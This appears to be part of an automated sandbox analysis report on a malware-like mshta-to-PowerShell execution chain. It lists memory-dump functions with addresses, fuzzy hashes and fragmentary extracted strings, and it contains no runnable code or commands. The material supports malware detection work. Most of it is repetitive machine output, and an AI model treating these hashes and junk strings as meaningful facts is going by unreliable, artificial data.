Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 6160, Parent PID: 5784COMMON

Executed Functions

Function 04DE6920 Relevance: 2.5, Strings: 2, Instructions: 36COMMON

Download Yara Rule

Strings

LR]q, xrefs: 04DE69CD
(Xbq, xrefs: 04DE6AAF

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID: (Xbq$LR]q
API String ID: 0-655927778
Opcode ID: 24a9b4caa1c8e99c4ffd40782eaa400bb6fb13ddbfd2aaa5d47c3500ba8a41b9
Instruction ID: 5a7f5890f9e1d7cb5b27f333b4a74f21722fcb2ed6cd594931725996b2d1e71e
Opcode Fuzzy Hash: 24a9b4caa1c8e99c4ffd40782eaa400bb6fb13ddbfd2aaa5d47c3500ba8a41b9
Instruction Fuzzy Hash: 16014F34A103289FDB54DB68C800F9ABBF5EF49300F0141A9E985AB391D7B2AD44CF51

Function 04DE73C0 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

x, xrefs: 04DE73C5

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: e4ed563f9ece8efbc0609914206635dd458e24a8be01681630de9ef12954ee9e
Instruction ID: 2af6c7e72a0cdc386882facb498f86c835a636241e81f3f56acb6fb174f021a1
Opcode Fuzzy Hash: e4ed563f9ece8efbc0609914206635dd458e24a8be01681630de9ef12954ee9e
Instruction Fuzzy Hash: 19F012B4D0838EAFDF44DFB9C4451ADBFF06B09204F04C6AE985CD7641E63452458F91

Function 04DE29F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64620912957d1b1a2326f5d8728fb638287c78311e9a38f6639c6ef11c324338
Instruction ID: bd5c099e6e63069be0b3616a7791b1ec13ce26acf9d33953fa7741d782ee1e9c
Opcode Fuzzy Hash: 64620912957d1b1a2326f5d8728fb638287c78311e9a38f6639c6ef11c324338
Instruction Fuzzy Hash: 00917874A002098FCB15DF59C5D49BAFBB6FF88310B2586A9D815AB365C735FC81CBA0

Function 04DE2B00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225831d81a1520288e8e0d784b89a0488ee5bb33755e35a89a07b64172f09296
Instruction ID: cf461323a02a7efd8f6c0181aca7cc6b1037b696722c749ccb3dc6aa816d0dbc
Opcode Fuzzy Hash: 225831d81a1520288e8e0d784b89a0488ee5bb33755e35a89a07b64172f09296
Instruction Fuzzy Hash: B1413674A005059FCB09CF5AC5D89BAFBB5FF48310B158599D819AB364C732FC91CBA0

Function 04DE2C5C Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c40dc556017eb053f9f1eb964b29464e2f1ec14495aa6a5704a643f1e834fe
Instruction ID: 114e7dc1a4c41f65440f36ad2a1e74318f0435ef1a2fe7f8a6746c0715bca01e
Opcode Fuzzy Hash: a4c40dc556017eb053f9f1eb964b29464e2f1ec14495aa6a5704a643f1e834fe
Instruction Fuzzy Hash: 1F11AC3490A2908FDB03DF6DD8B09E9BF75EF06314B0981C7D0909B1A2C636A885CB65

Function 0315D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027341998.000000000315D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0315D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_315d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390efb59913eecc8a22edc03b8743eb270477f3017b4ce58bcdbe841dc0b5e79
Instruction ID: 8d276f17b7d8617733ea615df630c6965fce2bd5abd84473cbf16a61e9895cd6
Opcode Fuzzy Hash: 390efb59913eecc8a22edc03b8743eb270477f3017b4ce58bcdbe841dc0b5e79
Instruction Fuzzy Hash: D001D432004300DBD720CB15D984B67BF9CEF49320F18C469FD580A246C3799842C7B1

Function 0315D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027341998.000000000315D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0315D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_315d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca0c93c521345fdbdb4ab793ffe4d653e999f1ae675bc2e750e59d4e32844791
Instruction ID: d1b3157ad4e7a29ce6505d32a2c415c44fd3e1bf2aa3419fadbafce1206f5b11
Opcode Fuzzy Hash: ca0c93c521345fdbdb4ab793ffe4d653e999f1ae675bc2e750e59d4e32844791
Instruction Fuzzy Hash: 0D01406240E3C09FD7128B259994752BFA8DF57224F1D81DBED888F293C2699845C772

Function 04DE73D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6040a481d85c02543a3701f6f17960f8cee463663f8f5b27e2969af9c5253d90
Instruction ID: 0339464a183ce252a7e71b77d3511363e4b28ed1a90824d578959fcb4ea0d9d7
Opcode Fuzzy Hash: 6040a481d85c02543a3701f6f17960f8cee463663f8f5b27e2969af9c5253d90
Instruction Fuzzy Hash: AAE026B4E0424E9F8F88EFB995421BEFBF5AB48200F1085AE9819E7340E63456118FD5

Function 04DE7390 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2028684257.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2cf3c74d1ea33e232de1214b7b06aa69ae69a531c661af75295845ea5d8e142
Instruction ID: 06e1f781694c4d0aab270bc89d12ae4c516b30e9557376d545bcae72d295ea95
Opcode Fuzzy Hash: e2cf3c74d1ea33e232de1214b7b06aa69ae69a531c661af75295845ea5d8e142
Instruction Fuzzy Hash: C5E0C26104E784AEDFD332A2D40A3F07F20EB02246F4C40E3D8A895453A108A854C7B2

Analysis Process: powershell.exePID: 2804, Parent PID: 6160COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10%
Total number of Nodes:	30
Total number of Limit Nodes:	3

Executed Functions

Function 06C2DA45 Relevance: 16.0, Strings: 12, Instructions: 1033COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C2DD27
$]q, xrefs: 06C2E20A
$]q, xrefs: 06C2E1FA
$]q, xrefs: 06C2DDC7
$]q, xrefs: 06C2DD17
$]q, xrefs: 06C2DB63
,aq, xrefs: 06C2E38A
$]q, xrefs: 06C2DDD7
$]q, xrefs: 06C2E1B1
$]q, xrefs: 06C2DB53
$]q, xrefs: 06C2E1A1
4, xrefs: 06C2E2A5

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3443518476
Opcode ID: 04a110c6861031e67878f1ebb0eb17ed78ae9cab89f794d477a08020ebbec31e
Instruction ID: b033448ab46c261b5eab96e27f9c1cbd79036846d15eb447e70ddbf0175237fc
Opcode Fuzzy Hash: 04a110c6861031e67878f1ebb0eb17ed78ae9cab89f794d477a08020ebbec31e
Instruction Fuzzy Hash: 4BA21B74A00229CFDB54CFA8C994BADB7B6BF48700F158499E906AB3A5DB70ED41CF50

Function 00B0CEC8 Relevance: 2.8, Strings: 1, Instructions: 1526COMMON

Download Yara Rule

Strings

\vsq, xrefs: 00B0DE6C

Memory Dump Source

Source File: 00000003.00000002.2815231973.0000000000B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_powershell.jbxd

Similarity

API ID:
String ID: \vsq
API String ID: 0-3555922043
Opcode ID: 8aa9b61890e076c0b31511d03c7cd7c51031de7c8139aeea3cc57e8f97b1475e
Instruction ID: 133cfbdf2973d16495cdaa65c25db16c18da628ebf1209905afa91d3a4ea4b0c
Opcode Fuzzy Hash: 8aa9b61890e076c0b31511d03c7cd7c51031de7c8139aeea3cc57e8f97b1475e
Instruction Fuzzy Hash: 33C28F7190E3C59FD7028BB8C8A4699BFB1EF57210F1981D7D484DB2E3D6249C4AC7A2

Function 0696DF83 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

Hni, xrefs: 0696DF83

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: Hni
API String ID: 0-1322818239
Opcode ID: 34b08a663f0bfcaaad9a867630808f2999a60310e773461f4b433d86d02631c3
Instruction ID: 0a24be68005ebb2847da2ac6b824a09fe5dc555882ca02fe26e0e86eb574df21
Opcode Fuzzy Hash: 34b08a663f0bfcaaad9a867630808f2999a60310e773461f4b433d86d02631c3
Instruction Fuzzy Hash: 9552D474A042298FCB61DF28CD84B9ABBB6FB89301F1091D9E50DA7755DB30AE81CF54

Function 06C29908 Relevance: 1.7, Strings: 1, Instructions: 416COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06C29C2B

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: f07f912fde61b701c70f455ff37bb1def7d07ebad63a2f0de95449473ea3357e
Instruction ID: 3c28a0a6b29293e493e4dbfe16877f30fb86793821b647feb4c966a21117e30c
Opcode Fuzzy Hash: f07f912fde61b701c70f455ff37bb1def7d07ebad63a2f0de95449473ea3357e
Instruction Fuzzy Hash: 05020A70E15229CFEBA4DF6AD845B99BBF2BF89300F1081A9D90DA7254DB705E85CF40

Function 069630F8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE ref: 0696315F

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 9f5727537be1a74b3120219eeecbed2c56673dc0fcf06b73473ff84f2cb303b8
Instruction ID: 720c944393d566a4cb8a709b850f9dede7430581e067af93bde227815ae00538
Opcode Fuzzy Hash: 9f5727537be1a74b3120219eeecbed2c56673dc0fcf06b73473ff84f2cb303b8
Instruction Fuzzy Hash: 8D11E0B1C006599FCB00DF9AC944A9EFBF8FF49320F14812AD918A7200D7786944CFE5

Function 06C09778 Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f23d3b0541eee0ce626b8afad99b66fecb22b7eea933fdc8ad9f1fb089a9ee
Instruction ID: b37cc79db933d7aedb8672a985861b8c610a5a01743f47334f9e3bf80c8cee47
Opcode Fuzzy Hash: 63f23d3b0541eee0ce626b8afad99b66fecb22b7eea933fdc8ad9f1fb089a9ee
Instruction Fuzzy Hash: 64E14B74E09208CFEB44CFA9D585BAEBBF6BB49300F109129E40AAB395DB345941CF81

Function 06C09768 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78ac8afe4a8535dcbb85a12b3316d77733f5ec4bbc9fffe434a4513fe8503c56
Instruction ID: 7d2e7dc5cc2502f0b0cd9c43e2883c77e7999dc58a6a78d74f973571e947ce68
Opcode Fuzzy Hash: 78ac8afe4a8535dcbb85a12b3316d77733f5ec4bbc9fffe434a4513fe8503c56
Instruction Fuzzy Hash: 9BE14E74E19208CFEB44CFA9D595BAEBBF2FB49300F10912AE40AA7395DB345941CF41

Function 06C25D88 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeaf0ebe9021df5b2d6233856cb3c1c47aad2e4a0a1d370cd95dda2304ae989d
Instruction ID: 4da071452c796fb6c1847bfcf1a793563317f5af52b9214e05734f660101585e
Opcode Fuzzy Hash: aeaf0ebe9021df5b2d6233856cb3c1c47aad2e4a0a1d370cd95dda2304ae989d
Instruction Fuzzy Hash: B3510D70E05229DFEB54CF6AD94979ABBF2EB89300F10C0A9E80CA7254DB745D85CF51

Function 07098DA0 Relevance: 20.7, Strings: 16, Instructions: 719COMMON

Download Yara Rule

Strings

4']q, xrefs: 070991C9
4']q, xrefs: 07099002
4']q, xrefs: 07099389
$]q, xrefs: 07099355
$]q, xrefs: 07098FDF
\j, xrefs: 07098ED9
4']q, xrefs: 0709937D
$]q, xrefs: 07098FC3
4']q, xrefs: 07098E43
4']q, xrefs: 070991BD
$]q, xrefs: 07099361
\j, xrefs: 07098ECB
4']q, xrefs: 0709900E
$]q, xrefs: 07098FEB
$]q, xrefs: 0709931B
4']q, xrefs: 07098E4F

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q$\j$\j
API String ID: 0-2669044209
Opcode ID: b61ec5b4f1ac2fa95fb2a46ee575996c81a480caa0fb80d7bbe86264dfffa5f7
Instruction ID: 641bef477b33d7d9317edba7d2737a4bbc065807a45f7cdba22f9321eb5c8f89
Opcode Fuzzy Hash: b61ec5b4f1ac2fa95fb2a46ee575996c81a480caa0fb80d7bbe86264dfffa5f7
Instruction Fuzzy Hash: 753289B1B142068FCF648F79D8506AABBE6EFC6210F24C67EC455CB291DB35D801D792

Function 06F7775F Relevance: 13.7, Strings: 10, Instructions: 1212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,FXi, xrefs: 06F77F55
4']q, xrefs: 06F77531
,FXi, xrefs: 06F77908
x.Wi, xrefs: 06F77671
-Wi, xrefs: 06F776BF
,FXi, xrefs: 06F770C7
4']q, xrefs: 06F7749E
(ffj, xrefs: 06F77B0D
(ffj, xrefs: 06F7813D
(ffj, xrefs: 06F7726B

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$(ffj$(ffj$,FXi$,FXi$,FXi$4']q$4']q$x.Wi$-Wi
API String ID: 0-2811049856
Opcode ID: fc6edb898510adddeaf46300e5f7561771c7c537e67ff34601875d6f1d9a2fe3
Instruction ID: 8b0466f0e91b28ba2c8fce9f6615e505f612865aaae63a4b77081ba077401f6e
Opcode Fuzzy Hash: fc6edb898510adddeaf46300e5f7561771c7c537e67ff34601875d6f1d9a2fe3
Instruction Fuzzy Hash: 75C251B4A002189FD754DB58C994BA9BBB2FB85304F14C1E9DA09AF351CB71ED82CF91

Function 06F70E50 Relevance: 13.4, Strings: 10, Instructions: 892COMMON

Download Yara Rule

Strings

4']q, xrefs: 06F71897
84dj, xrefs: 06F710B4
4']q, xrefs: 06F717F3
84dj, xrefs: 06F710BE
4']q, xrefs: 06F717DD
x.Wi, xrefs: 06F718F0
tP]q, xrefs: 06F71106
tP]q, xrefs: 06F71112
4']q, xrefs: 06F71881
-Wi, xrefs: 06F71941

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$84dj$84dj$tP]q$tP]q$x.Wi$-Wi
API String ID: 0-935119667
Opcode ID: 4c4aa3ea267de004923a46cc6aefc2adf4b3ebbde4c6827b388a525a9ae04d47
Instruction ID: e113a534a845e2423f4c0da889cdf036652cf66ce41ac7476ad03b82b035afb7
Opcode Fuzzy Hash: 4c4aa3ea267de004923a46cc6aefc2adf4b3ebbde4c6827b388a525a9ae04d47
Instruction Fuzzy Hash: EF727034E002188FDB64CF58C950BAABBB6FF85300F15C4AAD909AB355DB31DD86CB91

Function 07095C68 Relevance: 12.9, Strings: 10, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

84dj, xrefs: 07095F5A
tP]q, xrefs: 07095FA7
4']q, xrefs: 07095E4F
$]q, xrefs: 07095C7A
$]q, xrefs: 07095F24
$]q, xrefs: 07095C9B
84dj, xrefs: 07095F50
$]q, xrefs: 07095CA9
tP]q, xrefs: 07095FB3
4']q, xrefs: 07095E43

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$84dj$84dj$tP]q$tP]q$$]q$$]q$$]q$$]q
API String ID: 0-1721874989
Opcode ID: 92c157f62fa540528685f5f1df0611272436fec62c31c44cca141ce1b87b4d35
Instruction ID: e98c096e11e6716fa3194f0bf2f465427c328ae8b339c6b809c96e6ab38e9ed5
Opcode Fuzzy Hash: 92c157f62fa540528685f5f1df0611272436fec62c31c44cca141ce1b87b4d35
Instruction Fuzzy Hash: 49C169B0704206CFCF6A8F6ADC5056AFBE6EFC1210F24C57AD955CB291DA36C811D7A1

Function 06F7633C Relevance: 11.2, Strings: 8, Instructions: 1226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06F7753D
4']q, xrefs: 06F774B4
4']q, xrefs: 06F77531
x.Wi, xrefs: 06F77671
-Wi, xrefs: 06F776BF
,FXi, xrefs: 06F770C7
4']q, xrefs: 06F7749E
(ffj, xrefs: 06F7726B

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$,FXi$4']q$4']q$4']q$4']q$x.Wi$-Wi
API String ID: 0-538660447
Opcode ID: c91b8947380b232cc53d2e0ee37cd0e4fee13c21e3dc118404379162de942982
Instruction ID: 1c7c64c0093a81a3d966258d9b3b5c0e799a88d449508566534030c57c960f7a
Opcode Fuzzy Hash: c91b8947380b232cc53d2e0ee37cd0e4fee13c21e3dc118404379162de942982
Instruction Fuzzy Hash: B6C25174A002188FDB54DB58C994BA9BBB2FB85304F14C5E9DA09AF351CB71ED82CF91

Function 07098318 Relevance: 9.3, Strings: 7, Instructions: 556
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ffj, xrefs: 070986F0
x.Wi, xrefs: 07098862
(ffj, xrefs: 07098514
(ffj, xrefs: 0709850A
(ffj, xrefs: 070986FA
4']q, xrefs: 0709881A
4']q, xrefs: 07098826

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$(ffj$(ffj$(ffj$4']q$4']q$x.Wi
API String ID: 0-1531805786
Opcode ID: 4d3286d6de1042877bd4bf228976f11961718483605c2bcaf6eadc988473d0be
Instruction ID: 60a775061b71060a7686b3092c8346b5404041fb9035075fead860882525afcc
Opcode Fuzzy Hash: 4d3286d6de1042877bd4bf228976f11961718483605c2bcaf6eadc988473d0be
Instruction Fuzzy Hash: DE227BB4A01205DFDB54CF98C994A6ABBF6EF86300F14C279E9059B395CB71EC42CB91

Function 06F76B12 Relevance: 8.4, Strings: 6, Instructions: 950
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06F77531
x.Wi, xrefs: 06F77671
-Wi, xrefs: 06F776BF
,FXi, xrefs: 06F770C7
4']q, xrefs: 06F7749E
(ffj, xrefs: 06F7726B

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$,FXi$4']q$4']q$x.Wi$-Wi
API String ID: 0-1390079381
Opcode ID: f6c23e8d1ba68c8e102081cf1772e5472d1cd84cad4bf7d7483da665ef4c6852
Instruction ID: 9f589aed7954490ffd414d4b687897e5cfd397268ed90998666d243747ea3995
Opcode Fuzzy Hash: f6c23e8d1ba68c8e102081cf1772e5472d1cd84cad4bf7d7483da665ef4c6852
Instruction Fuzzy Hash: C0A263B4B002188FD754DB58C994BA9BBB2EB85304F14C5E9DA09AF351CB71ED82CF91

Function 06F76AC0 Relevance: 8.4, Strings: 6, Instructions: 933
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06F77531
x.Wi, xrefs: 06F77671
-Wi, xrefs: 06F776BF
,FXi, xrefs: 06F770C7
4']q, xrefs: 06F7749E
(ffj, xrefs: 06F7726B

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$,FXi$4']q$4']q$x.Wi$-Wi
API String ID: 0-1390079381
Opcode ID: ab8248482d12bae102b466dd5fef7b3dfcfc8e97d84e0b010c3b87423b922351
Instruction ID: 16caad3138173dcd80978e54cb08b3ca605eec1c2dd23fa29f64cb701013abda
Opcode Fuzzy Hash: ab8248482d12bae102b466dd5fef7b3dfcfc8e97d84e0b010c3b87423b922351
Instruction Fuzzy Hash: 699263B4A002188FDB54DB58C994BA9BBB2EB85304F14C1E9DA09AF351CB71DD82CF91

Function 06F7584F Relevance: 7.8, Strings: 6, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06F75A07
4']q, xrefs: 06F75AAB
4']q, xrefs: 06F75A1D
4']q, xrefs: 06F75AC1
-Wi, xrefs: 06F75C92
x.Wi, xrefs: 06F75C44

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$x.Wi$-Wi
API String ID: 0-594320490
Opcode ID: 62c859423a90243a16676b6ff9e5481956ad8aa791e8181acb2406bdcad1f7e7
Instruction ID: c8fbd6c6b420f794d9779888361a3a692b5d60684d2a6f17bee244caa368ba2a
Opcode Fuzzy Hash: 62c859423a90243a16676b6ff9e5481956ad8aa791e8181acb2406bdcad1f7e7
Instruction Fuzzy Hash: D2C14F74B002188FDB54DB64C994B6ABBB6EF85304F1081E9D609AF355CF719E81CF91

Function 070988D5 Relevance: 6.7, Strings: 5, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ffj, xrefs: 070986F0
x.Wi, xrefs: 07098862
h2Yi, xrefs: 07098934
(ffj, xrefs: 0709850A
4']q, xrefs: 0709881A

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
